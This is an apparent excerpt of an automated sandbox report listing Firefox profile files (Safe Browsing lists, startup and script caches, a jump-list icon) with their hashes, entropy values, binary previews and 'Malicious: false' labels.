Size (bytes):	7044
Entropy (8bit):	6.019792223313714
Encrypted:	false
SSDEEP:	192:a8c2Z4q/XaeJ58c2Z4q/XaeJl8jjt8+RZFPPqYfC:a8c2WWaK8c2WWavtLsn
MD5:	A27B7ED8A56DF0DFEE953F81D7ABC603
SHA1:	CFAA50F71CFA2DF85CB070048B93CF89410D78D7
SHA-256:	6080B5B0135F8CED4AEF20AEA620777884903E60C7D5C3731106FBB4092938BF
SHA-512:	62CEFE94E85C87C59474B918C39450813F01F1CB53DA47520C7D54C7C0CB7694C1D5B2831D22FAFAA757C347B17CC0B17DFA8614280E5BAEDBAF22169A285C27
Malicious:	false
Reputation:	unknown
Preview:	..y9........e.dJe.dKFv..e.dK...J....O^partitionKey=%28https%2Cyoutube.com%29,:https://i.ytimg.com/generate_204.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAAW9MIIFuTCCA6GgAwIBAgIRAMCRV3+HtvRuCePtrDho5QcwDQYJKoZIhvcNAQELBQAwgZIxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMRYwFAYDVQQHDA1TYW4gRnJhbmNpc2NvMSowKAYDVQQKDCFUaGUgVW5pdmVyc2UgU2VjdXJpdHkgQ29tcGFueSBMdGQxKjAoBgNVBAMMIVRoZSBVbml2ZXJzZSBTZWN1cml0eSBDb21wYW55IEx0ZDAeFw0yNDAxMTYyMzM0NDNaFw0yNTAxMTUyMzM0NDNaMBkxFzAVBgNVBAMTDmVkZ2VzdGF0aWMuY29tMIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKCAQEAttIUZM9nB6wKoqazKMPLOngl9bLYgFjOjT1ih41Vj/kxCtojLojlzqMR2uamDS5ym1NSUOx8pCtBRN3Y9VsNzDd2pmrZ1Xrg+ri/zzoCn5rpV4lKQtNxU8aPuMM4BAVr5bclVnQuHQmQggiOxJpYYi+RAbkzc3JHttc+f9/2SXHAKEixdEtGaRXiz2s9FvG16/mn0+a+y0uMLzlAMqYL7glunDwuN9saiizCTmW1tFcOih3NyPGn/V3nfcueIuu8mfgqqGx71clVqv44XVXLAn7f9zF05wLIE0V8O5YLF/tUp+BCoT

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\jumpListCache\26UbzFJ7qT9_4DhodHKA1Q==.ico

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	MS Windows icon resource - 1 icon, 16x16 with PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced, 24 bits/pixel
Category:	dropped
Size (bytes):	261
Entropy (8bit):	6.198945760302942
Encrypted:	false
SSDEEP:	6:Ttq1vv/lhP5jpQ8loCa/2j2XjecejIogq6sibVp:Ttgv/7xNCCE76lIogq6/7
MD5:	F874852D50337D63834783F46A81E33C
SHA1:	7802AACBDBC68C3E9EFABFD90022EF38FC9E44CD
SHA-256:	21D54523BE6772E2A59FC6422B968200D9B55B4137670AD03C9558E62380C966
SHA-512:	A1087FBA85F1169E3AE79615E083FF469B0F212EE2B9E8B47F28B7166233D17424FB818BE64BA45BEEC8D98F3F652C590019BC6310C9F1109CABE33BDE653CA3
Malicious:	false
Reputation:	unknown
Preview:	.......................PNG........IHDR................a....IDAT8Ocd..0R...n......a.P..p.\|.*~......6..9.H.'.5.@.....A..'Q3L.!.. o=..$..h.j..j...@..}w..u.U.....4..6nd`((``.....4..A.KH6...d........(.L.........h..MQB...-).\.J......I..'..Q....7)........IEND.B`.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\safebrowsing-updating\google4\goog-badbinurl-proto.metadata

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	67
Entropy (8bit):	5.524825570957912
Encrypted:	false
SSDEEP:	3:219+O8v9PRJQ7HtxwqN:2+hvc2Y
MD5:	17993FCCE34CE83907303E702004D67A
SHA1:	0A394019FD186C7DF317D0D5D11B6B3CDB67E920
SHA-256:	FA9AD91B175AD64285CD995BEA7BDCBFC5C5CF10A64D9C9D366D406796BD635E
SHA-512:	23C8FB26CBA10C42791665D60A21E995772D0ADD2F89FC4C2E48E79076D0FDA7F599F841D52759B41DC20FF7B429B5866A8C0E1FA9CD867C21C83F9A1A84CDBD
Malicious:	false
Reputation:	unknown
Preview:	............".0010...........+. ...a...N9..XZ.TZ.F.:^.-H....U...,*

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\safebrowsing-updating\google4\goog-badbinurl-proto.vlpset

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	580388
Entropy (8bit):	7.7009411859886265
Encrypted:	false
SSDEEP:	12288:U+Xw4viF6GF1C89f+2/q2PN+tImFFg5I4izoFBg46YX:K4/GLR9f+L21yImFFga5zoFlf
MD5:	2890DDAC0F1040D8FC4FEF5A994B21BC
SHA1:	6FA81A3C0C8B5A157DCF0EB3C29B4B05C8A9459B
SHA-256:	E4055F610F679FBD060A8F98B4F6FEE1B708E2C36259D8DF0893820C89FFEB27
SHA-512:	9B62D788EE97ED4436CB1DB086F0CBCF5CD300118A5C650BD6109999591F78BF847CEAD91B948AD6312136135C0AFAF833DF465A7E0ED322D4E5553C61308431
Malicious:	false
Reputation:	unknown
Preview:	....5J.6.............'..eM............ ..B+.......:...<.o.T.Xza.ICz. ..Ng........+...M%...f..p.... ...m......{.....>...J.&"T.\.l...z.Z.}.<[~.....<......=...T.........@..K....~......z....2..'.(.>.@..TC...F.~Ta.y#l............+...`...%..p...6...........I...........\o..-Z&.H.7.l.G..J..Ef..nj..{u..............a....>..&....:..@q............%...2...<.L.F..1I...]..._...j.Ymq.'@.......}..ho...x...@..5...2~.......B...G...$..f...,1..[.......c...]+...n..w]+.g.4.HqP...h.$.j..=t.....nh..e........j...S......t..].......,...i....`...@..3./...1.C.:.F.C.V.W...a...h.H.i.j.v..X\|....e.......8.......3.......@..Rr....&..{0...?...A..>G..P.W+S...Z..f...h...l.u0z.....>l......j..6J...7..v....5..%....S...P..........iI..{.........+.`.2..>;.tL..`N.c.Q...l.{.......A......z.......\..7....%...$..&......H.....+..r@.ODM...P.0 R.ug_...e.K!u.r*..K=..\|z....."......a...+X...p..[u..1....I...G..{..../6...?.}.\.#.c.PVp.2..%....u......R8.............u?......d....4..Jr..R....u..\|...."..&...).Vn0...4.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\safebrowsing-updating\google4\goog-downloadwhite-proto.metadata

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	65
Entropy (8bit):	5.471991851323575
Encrypted:	false
SSDEEP:	3:2oe1BkHmV+OQldFtwzrLmhmk9bqKvn:GoGcvFqbQmZKvn
MD5:	15C0B0BFEA856B034E053BDCAA086411
SHA1:	29FAB2523FB2374F07F0D00D892EC60BFDA2C4CF
SHA-256:	7D553B1C4DA02987C2CA0327A25901AA4771B654A11E49AFC58FBC8875873D7E
SHA-512:	3C082ED1903F074D83FE4F341A61099D4547C36DAADB880CACD2F11A387B4765EA111230BD215ED3947DA148B78B669DE5B1293626DD4E1DD8B15B2A48B29560
Malicious:	false
Reputation:	unknown
Preview:	............".0010..#....;.,. .....bm..nC.{PL.........^..}[...9.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\safebrowsing-updating\google4\goog-downloadwhite-proto.vlpset

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	37349
Entropy (8bit):	7.995016769808263
Encrypted:	true
SSDEEP:	768:wz0fu1txSrQIXZ4cWSDNjvMflwbnmVDMaKYHXeHL/h/:wQfuTEp4XIzuAg3e1
MD5:	CF3989ADA19750F5BBD46BC8ADAFFB7A
SHA1:	0708F2ECB06362EAAC117090E4C8BE323922EF03
SHA-256:	C9C80D8B5B9464FD22E1C8B84BB80792FCFE69FA56F52F7B491E7FCB6DA6C8F4
SHA-512:	90E9D108A2A645DC1B97A26C225695C1DB7572E94F88E952E122B44731BA5CC59882EE97F3F2E0489ADA295942212F13436ACA56612A6FE5FAF5284FB3AE02FE
Malicious:	false
Reputation:	unknown
Preview:	....5J.6.................... ........Nt.HO5..... ..UM..7<.............~.'.....V.W..;B.........R..Cl.&/ZM....L...n..9.k.7<..ST....Fv.^}@/3w1@..U...wWG.(.....V....(' .J...w....&1.D......n.&\|.J=.......=...`H.l..G......... ..R..P.wS6.....\.D.<.....2..zH.dL...i.W..2.......%...2p..j<q......I..M..H.O_.i...p....B..)..m..Oty}...`.f.l.4.^...%i..d.lZ.$<R.W...J......j.....a..g ,G".1...~.>.x.....7....J..@!t=..b..Q....;..l%8\|.n.......2z.%..;..3J.;..S...VV..[.........%,....Yw...{`X..,._........,..V}v%G....D.B...)O....m_.....J...`.6..._B]..;....?.$@v....9.fd.ee.O.O.e..L..5[..?....?..y.%..g....~8.B..p!.$.U..Af..F...mu...(....D..!0].A..l59,.........90.....(.E].\z......Y....aa...T...QI{(....R.<....u...b.cQ.iJ].....mh.u@..G..D.\|FLz./d=...U.K.p.}.9.U\|Ib...(n.y._..9.d....OC.....b..C.A\|.8...\,..s....L.`f.....e....g....C^2.....:...V.../J....c..fPB&.t.....4.T.aq...!L..u..A.....Q..BwWi..Xd..`+..'....z_.[.......,....b.z9.[......O&.1%.7r..=}.....c.5.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\safebrowsing-updating\google4\goog-malware-proto.metadata

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	67
Entropy (8bit):	5.350922817907119
Encrypted:	false
SSDEEP:	3:w19+OfvTPD6JhRUwf9gW:w+C7OewiW
MD5:	D4025E40968B1AB75B9C01256BBE508E
SHA1:	EBC78804CCAB2405E1ACEC31979BD57A1491FF30
SHA-256:	4BE59DFABD7BBCB2118A585F13D9463CC60924739F0CAABD97F12E83F444E5DC
SHA-512:	B240C9538B13099F0AE2102DAF617FDB5EF4B1E028D340A72B605BEEDFE51178931CACB66B314581AB7D1F5B708CE6EE42F3285E4250D1BD8320F327A7AF34F2
Malicious:	false
Reputation:	unknown
Preview:	............".0010...........f. ......4=+...,'..E..rN.$.4......(.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\safebrowsing-updating\google4\goog-malware-proto.vlpset

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	233308
Entropy (8bit):	7.999226646099387
Encrypted:	true
SSDEEP:	6144:3TCtJ/EdMhffOkpLg+5jDJ1XWkUxMrKBmeG6C//Azd:GDfrE8JRWkUGrNeGwR
MD5:	3EFB11E285CB17C3813623274CB53F5C
SHA1:	BDC45517EC16EF1F02E1E2AADC67D91D3AA0CA73
SHA-256:	19A6A793617DFF17913FD9C19FEAB9D545F192E99240CA0ABB4919AD52BCAF7B
SHA-512:	EAEC8707A31B23A2787BE6A2E7982421BF5EFFE4C0A10A504B6F839611C868E847DAD7C256B98A9FFB4E7779C3945ADB5E8127F0C2F79EA6A2133EA289DBD5D3
Malicious:	false
Reputation:	unknown
Preview:	....5J.6.......................\...P............2...<..p............<...b..)...MT............./............-..n.......@...........a.....".Z9$.$1%...'..{'...'..d(..(.o).....4/...0...2..2.[.2..C3...3.n07...7...:...;.V.<..9=..>.1.>.. ?.8p@.x.A..A...A...B.<5B.&.B.. C.7.D...D..vG.h.G.k.G..DH..H.K.J...K..xK.J.L...N...P..hP.n.R.z.S..:T..T.U.V.6.X.Q.Y...Z..[.a.[...\.w.\..R^.)Y^.3.^...b...c.C.e..:f...f.c.g...i...i...i...j.%9j.O.j.U.n.R.r.n.s..+t...t.,.u...u..%x..6}.BQ}...~.....0^..(r..........P+..hj...L...A..(....'...L.......... ..n......5...,...K+.....c...7a...g.....g...v..\.............(K.....X...).........AT..Ho...3../..%..D...rS...&......7.. ......O,..J=.......6......4....}.._......\...N...@...Q....@..K....#.......m...o..........bp.......&...............,.......K...W.......u..<...'....0..f.......I(...b..G........$...y..H..........\S...Y..-\|................q...{>...Y..er....../L...U.......e.......n..g...n....J...\...1.....wv.......9...g..p...u....E..........

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\safebrowsing-updating\google4\goog-phish-proto.metadata

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	67
Entropy (8bit):	5.472440869400794
Encrypted:	false
SSDEEP:	3:01j5+OjxvS4nzQpTUvAsQHmdz:0+Z4zQpOxhz
MD5:	D904554A79FEFFCBA05BE5FE12F98BB2
SHA1:	A62CEE9DB7A383894745288CDFE745197E672F34
SHA-256:	AB3171A301F4D4E3C466F4BEFAA3E815C6416B623DE24CCB5DFDFFD2F82C01F6
SHA-512:	14A052878396B139E7BEE031D395AF63C8B3FBB035F795845EBE9038A91DC99B0608F13B56B40B74D1489490D6CAABE599184AD1956DD1310DEF1167ED481F39
Malicious:	false
Reputation:	unknown
Preview:	............".0010.........y.%. ...R=@B...5...p..h.".X........".]x.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\safebrowsing-updating\google4\goog-phish-proto.vlpset

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	12946026
Entropy (8bit):	6.287350698932068
Encrypted:	false
SSDEEP:	98304:2cxidilhxB8+2ojVNIl+wFEwWvVMSMEIdjtX96fs9uGiYzCZ3Ad:Rxi+xX2iKowxk5MEqjWiCs
MD5:	8DD76E19410CA4567B5C755B9161B58B
SHA1:	9BBA083E6F4A4621B8AE3AED2A82A13F2EB49445
SHA-256:	1E91BB727CD1772B50CD3D88DFC0DB2222E743BB5F900E1B39E04AFCE760D9FD
SHA-512:	F749543489BF883E4E518E0A49B903641802641F3B967F5B8420338BB1FEF015B67659B25133FBE0A02CFD2722D294EC6027652D0FF790BE9F13093A743500FC
Malicious:	false
Reputation:	unknown
Preview:	....5J.6..........^......x..$...!...h'..AQ...o..Z...l...TG..........1...Z..q...F........k..9.......UP.....v....B............ .>e"...#.B.$...&..\'...(...)..9+..W,...-.t0/...0.L.1...3..(4..s5.B.6...8.g@9.r.:..;...=.#R>...?.l.A..qB...C.S.E..IF...G...H...I..JK.{YL...M.I.N...P...Q.q.S.eST.6.U...V..MX...Y..Z...\.@c]./.^.M._...`.;%b..sc.g.d...e.\Rg.d.h.j.i.;.j..Al..dm..n.e.o.d.q..`r...s.G.t.Dqv...w...y...z...{...\|...~.U........>...i.....w....D..g.......-..A{......>...~.....3...........n......#...U.........Q..........Q..0\....../.......F...i..\w..~...b....?...j..:..+4...^..4......y#...X......%...c..7...............W...:;..'...C.......AY......F...O'.....x....:..Jp......t...u........Y....../....{.. ........j..........#...[...7...oc..x...L...1....>...C...q......6,...u.......+...b.............L................o..........nD.....!....6..+.........P+...........;..>........$...}.......-...........R......>E!...".a.#..`%.g.&.0.'..J).N.*...+...-......./...1..g2.J.3.E=5...6.[.7..49.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\safebrowsing-updating\google4\goog-unwanted-proto.metadata

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	67
Entropy (8bit):	5.465124078420598
Encrypted:	false
SSDEEP:	3:y1BkHi+OTDFlllmNr5tAV/1o+1j:yoTCZ/U5Ydok
MD5:	7BAF4B9F95635B695812E298E7884353
SHA1:	E6BF7ED3CD302509507A2AE7914AED25D6724A41
SHA-256:	55703483A8E8F7E09D026F93D8BE32B12DB05A2177161A032AD19AC7EF29B1A2
SHA-512:	C2EAC16B5ACB9E2ECD2478E2DE63CE063F5E8781A84562A3CE74DA95EB01EA2F35BAD72E2075950E0F0C595B177AEBF17F82D483B8D34F2205DDAA46280C47C6
Malicious:	false
Reputation:	unknown
Preview:	............".0010..........wfz ....H.E.vN.l....?t.....`.9+.....V

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\safebrowsing-updating\google4\goog-unwanted-proto.vlpset

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	129296
Entropy (8bit):	7.998661449882654
Encrypted:	true
SSDEEP:	3072:iOEWvDo18Ua66+c6OGhhngfflKPDq/9e/4vPYT4ITlQ:NEWve9N6+yG8YG9e/4vPYT4mlQ
MD5:	A95CE556B7A48FB5050EE0365CA1E35E
SHA1:	C0B6383EB77D2E39527F5D52B058B0EFA2D53846
SHA-256:	23CDBA99F2557EFC6A41A267F750819BD34BA53EA36067DF08179E9D2A11F104
SHA-512:	3FB0E004AB099BA0DE3C2E199E59A47EE3C13517947F073EDBA48E9BFC4EDA99D01066B1BF5A65AAAB692F54E01DFAB12A644FE470C6721611DB35BC22EB27D0
Malicious:	false
Reputation:	unknown
Preview:	....5J.6....<~.......'...F...........C..o....5..)^..M....o.............G.......M...'........5..kn ... .S.#..\$.6S%......+..d-..h/..k3...3...3..!6.l,6.#\A..%G..0G.h.G..qJ...O..QQ.s.Q...V...W.s[Z...]..f.sdi...j..k...p..Qq..Sq...z.W.z.WE\|......0...E.....t....Y......e.......o......c...%...9......5...c..................g.......g$........._.......0......7;..4........z..0_.............w-..V..............UO..k....m.......7............P...........#r...........L...c..Wd......3.......6......#.......aI......G...)3..r....}...$.._\...\..Ya....... ..L....D.................2........E ..R!. l!..M$.4h'..".j6+...,.@.,.Dh-.R....3.1.3..p7...9.Z.9...9..w:...:.w.:...;..q?...A..MC.._C...C.&NE...E.Z[H.%.N..>O..2P...R...S..T...V..nY...Z.C.[...]...^...`...b...d..(d.+.d.d.e.H]e...f..Ag.^.g.I.k.._k..m.E.n...s..8u..u.\|.w.(.w..?x...\|..0.......f......F.......3...V.................B....G...(.....@..%......f.......w..........c..~...\|s..;j..8....~..GQ...L...s...M................./y......

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\startupCache\scriptCache-child-new.bin

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	2029892
Entropy (8bit):	4.701156726468159
Encrypted:	false
SSDEEP:	12288:+6j+d487l/bpQoykPA1OEiCIuRhRuPoCnE2ZzNYLQhhWiqAg+XdN43Ib+M5TkRYX:AdR7l/bLs6BjUNRYRck
MD5:	04F00B709D92A4DC8BF6CDDE6AC3BFAF
SHA1:	E8F46721CB9E33A40C55CFA52B08371722FEAA63
SHA-256:	62E09ED0E9A8136BF7FDD439BE0CC326C5FD84AA511CCE50C0D4DBB68BA37E06
SHA-512:	9DE3CF0A0C752AA529A7F38E2B7FB2070B502925D9017C103C32BD117089F347E20996E2FB3B118EB1219746AACB3F4ACB66FB187B44937331EF3D881F75BB69
Malicious:	false
Reputation:	unknown
Preview:	mozXDRcachev003......I..9.resource://gre/modules/TelemetryControllerContent.sys.mjsU.jsloader/non-syntactic/module/resource/gre/modules/TelemetryControllerContent.sys.mjs.........6.resource://gre/modules/TelemetryControllerBase.sys.mjsR.jsloader/non-syntactic/module/resource/gre/modules/TelemetryControllerBase.sys.mjs.........+.resource://gre/modules/AppConstants.sys.mjsG.jsloader/non-syntactic/module/resource/gre/modules/AppConstants.sys.mjs.&..T....".resource://gre/modules/Log.sys.mjs>.jsloader/non-syntactic/module/resource/gre/modules/Log.sys.mjs8C..Hp...).resource://gre/modules/XPCOMUtils.sys.mjsE.jsloader/non-syntactic/module/resource/gre/modules/XPCOMUtils.sys.mjs.....3...*.chrome://global/content/process-content.jsG.mm/script/resource/gre/chrome/toolkit/content/global/process-content.js@........6.resource://gre/modules/extensionProcessScriptLoader.js>.mm/script/resource/gre/modules/extensionProcessScriptLoader.js ........5.resource://gre/modules/ExtensionProcessScript.sys.mjsQ.j

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\startupCache\scriptCache-child.bin (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	2029892
Entropy (8bit):	4.701156726468159
Encrypted:	false
SSDEEP:	12288:+6j+d487l/bpQoykPA1OEiCIuRhRuPoCnE2ZzNYLQhhWiqAg+XdN43Ib+M5TkRYX:AdR7l/bLs6BjUNRYRck
MD5:	04F00B709D92A4DC8BF6CDDE6AC3BFAF
SHA1:	E8F46721CB9E33A40C55CFA52B08371722FEAA63
SHA-256:	62E09ED0E9A8136BF7FDD439BE0CC326C5FD84AA511CCE50C0D4DBB68BA37E06
SHA-512:	9DE3CF0A0C752AA529A7F38E2B7FB2070B502925D9017C103C32BD117089F347E20996E2FB3B118EB1219746AACB3F4ACB66FB187B44937331EF3D881F75BB69
Malicious:	false
Reputation:	unknown
Preview:	mozXDRcachev003......I..9.resource://gre/modules/TelemetryControllerContent.sys.mjsU.jsloader/non-syntactic/module/resource/gre/modules/TelemetryControllerContent.sys.mjs.........6.resource://gre/modules/TelemetryControllerBase.sys.mjsR.jsloader/non-syntactic/module/resource/gre/modules/TelemetryControllerBase.sys.mjs.........+.resource://gre/modules/AppConstants.sys.mjsG.jsloader/non-syntactic/module/resource/gre/modules/AppConstants.sys.mjs.&..T....".resource://gre/modules/Log.sys.mjs>.jsloader/non-syntactic/module/resource/gre/modules/Log.sys.mjs8C..Hp...).resource://gre/modules/XPCOMUtils.sys.mjsE.jsloader/non-syntactic/module/resource/gre/modules/XPCOMUtils.sys.mjs.....3...*.chrome://global/content/process-content.jsG.mm/script/resource/gre/chrome/toolkit/content/global/process-content.js@........6.resource://gre/modules/extensionProcessScriptLoader.js>.mm/script/resource/gre/modules/extensionProcessScriptLoader.js ........5.resource://gre/modules/ExtensionProcessScript.sys.mjsQ.j

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\startupCache\scriptCache-new.bin

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	9810712
Entropy (8bit):	4.729451791843876
Encrypted:	false
SSDEEP:	49152:GwTv3Dxd4CqeWDc+ikpXGBm5Dkl60C6RAuAgdyR+FCRG1Kl/S/qyaQl+End+38Bp:rv8cW5IBmSmVgdyln/SSyao+EnbTEm
MD5:	63863522877EA30B8FE5E163CE983CF2
SHA1:	E85A0AE6F10B4077BEEC7F79CAE22DB1F7B4F8FB
SHA-256:	C5122DDCBAB692E96FB0E77F018555C75018D566C7FC830E315078CC1B9393BD
SHA-512:	916CACEC4C3F0C9E8756D6956390183ABC98871E017627AE9CF62E93E3F592B033D3218BC52BA1CEB05D545B3E7078185AF727E56668F3983585A73B43E002D2
Malicious:	false
Reputation:	unknown
Preview:	mozXDRcachev003.....\...3.resource://gre/modules/MainProcessSingleton.sys.mjsO.jsloader/non-syntactic/module/resource/gre/modules/MainProcessSingleton.sys.mjs.........5.resource://gre/modules/CustomElementsListener.sys.mjsQ.jsloader/non-syntactic/module/resource/gre/modules/CustomElementsListener.sys.mjs....H....'.resource:///modules/BrowserGlue.sys.mjsF.jsloader/non-syntactic/module/resource/app/modules/BrowserGlue.sys.mjs.........1.resource://gre/modules/ActorManagerParent.sys.mjsM.jsloader/non-syntactic/module/resource/gre/modules/ActorManagerParent.sys.mjs.....R...'.resource://gre/modules/XULStore.sys.mjsC.jsloader/non-syntactic/module/resource/gre/modules/XULStore.sys.mjs.7..x5...1.resource://gre/modules/EnterprisePolicies.sys.mjsM.jsloader/non-syntactic/module/resource/gre/modules/EnterprisePolicies.sys.mjs.m.......7.resource://gre/modules/EnterprisePoliciesParent.sys.mjsS.jsloader/non-syntactic/module/resource/gre/modules/EnterprisePoliciesParent.sys.mjs.s..P....(.resource://gre

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\startupCache\scriptCache.bin (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	9810712
Entropy (8bit):	4.729451791843876
Encrypted:	false
SSDEEP:	49152:GwTv3Dxd4CqeWDc+ikpXGBm5Dkl60C6RAuAgdyR+FCRG1Kl/S/qyaQl+End+38Bp:rv8cW5IBmSmVgdyln/SSyao+EnbTEm
MD5:	63863522877EA30B8FE5E163CE983CF2
SHA1:	E85A0AE6F10B4077BEEC7F79CAE22DB1F7B4F8FB
SHA-256:	C5122DDCBAB692E96FB0E77F018555C75018D566C7FC830E315078CC1B9393BD
SHA-512:	916CACEC4C3F0C9E8756D6956390183ABC98871E017627AE9CF62E93E3F592B033D3218BC52BA1CEB05D545B3E7078185AF727E56668F3983585A73B43E002D2
Malicious:	false
Reputation:	unknown
Preview:	mozXDRcachev003.....\...3.resource://gre/modules/MainProcessSingleton.sys.mjsO.jsloader/non-syntactic/module/resource/gre/modules/MainProcessSingleton.sys.mjs.........5.resource://gre/modules/CustomElementsListener.sys.mjsQ.jsloader/non-syntactic/module/resource/gre/modules/CustomElementsListener.sys.mjs....H....'.resource:///modules/BrowserGlue.sys.mjsF.jsloader/non-syntactic/module/resource/app/modules/BrowserGlue.sys.mjs.........1.resource://gre/modules/ActorManagerParent.sys.mjsM.jsloader/non-syntactic/module/resource/gre/modules/ActorManagerParent.sys.mjs.....R...'.resource://gre/modules/XULStore.sys.mjsC.jsloader/non-syntactic/module/resource/gre/modules/XULStore.sys.mjs.7..x5...1.resource://gre/modules/EnterprisePolicies.sys.mjsM.jsloader/non-syntactic/module/resource/gre/modules/EnterprisePolicies.sys.mjs.m.......7.resource://gre/modules/EnterprisePoliciesParent.sys.mjsS.jsloader/non-syntactic/module/resource/gre/modules/EnterprisePoliciesParent.sys.mjs.s..P....(.resource://gre

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\startupCache\startupCache.8.little

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	3070196
Entropy (8bit):	6.8929335694422615
Encrypted:	false
SSDEEP:	49152:IOJfkk9RoMYQjJh49YJfEhhok8QRwHuDY:oe6KhMhotS5Y
MD5:	18AE7886EE638C03ED38117AF7CEA27C
SHA1:	0A997D65804CE5713F5BCF9DC63BDB8DFB7A6414
SHA-256:	BE0C7E54EEB3FDA311F270F53CB057FBEDEA3D79B001EDC8F16EB73F58FEC6EF
SHA-512:	B50D01F790F472BB4C15875D5897EBAA6C5C4A75B37CE00736E511EDBF8BA71EF920F936312E04C5616B8371F91DCAB2289C9A8D90C1E2FB83E37CD6914DB8CB
Malicious:	false
Reputation:	unknown
Preview:	startupcache0002..X......N.......e.jsloader/non-syntactic/module/resource/gre/modules/services-settings/RemoteSettingsComponents.sys.mjsN...........F.jsloader/non-syntactic/module/resource/app/modules/EveryWindow.sys.mjs.....C..@...M.jsloader/non-syntactic/module/resource/app/actors/ContentSearchParent.sys.mjs.S..].......F.jsloader/non-syntactic/module/resource/gre/modules/ModulesPing.sys.mjsBa..;4..Hc..U.jsloader/non-syntactic/module/resource/gre/modules/addons/ProductAddonChecker.sys.mjs}...e....!..G.jsloader/non-syntactic/module/resource/gre/modules/CoveragePing.sys.mjs....'..<C..H.jsloader/non-syntactic/module/resource/gre/actors/NetErrorParent.sys.mjs........L...`.jsloader/non-syntactic/module/resource/gre/chrome/toolkit/res/normandy/lib/AddonRollouts.sys.mjs.....,...Q..Q.jsloader/non-syntactic/module/resource/app/modules/FirefoxProfileMigrator.sys.mjs]....u......B.jsloader/non-syntactic/module/resource/gre/modules/History.sys.mjs!.......T9..U.jsloader/non-syntactic/module/resour

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\startupCache\urlCache-new.bin

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	3598
Entropy (8bit):	4.795088905426916
Encrypted:	false
SSDEEP:	48:cxwneU3deLVegWWKmWtoBYjYdYgbbYgbqhNTKWeRryLPZefSyWr9HicStpRtNm7d:cxFU3Wu38qgbkgbIKKRCUOt9Jr/d8
MD5:	4C9B7AF3A91F533B05787C0037C5824A
SHA1:	80382C72C21C7C34876356FA04DDD47F35CF080F
SHA-256:	1818B78286ADEDBDD8967FDD35CEAD68FB0D0F4C45860E76223CC04E9D5DDBE4
SHA-512:	912F844EBD0500442010F9EC32FBEC813D383C5717888C340F4247A46ECAB3F65B3CCD0CA79A6A9989956FAA7A61F7F9AD724F4DC7F269B0681CFDF10210B2DF
Malicious:	false
Reputation:	unknown
Preview:	mozURLcachev003......}.A.a.C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\xulstore.json.;.C:\Program Files\Mozilla 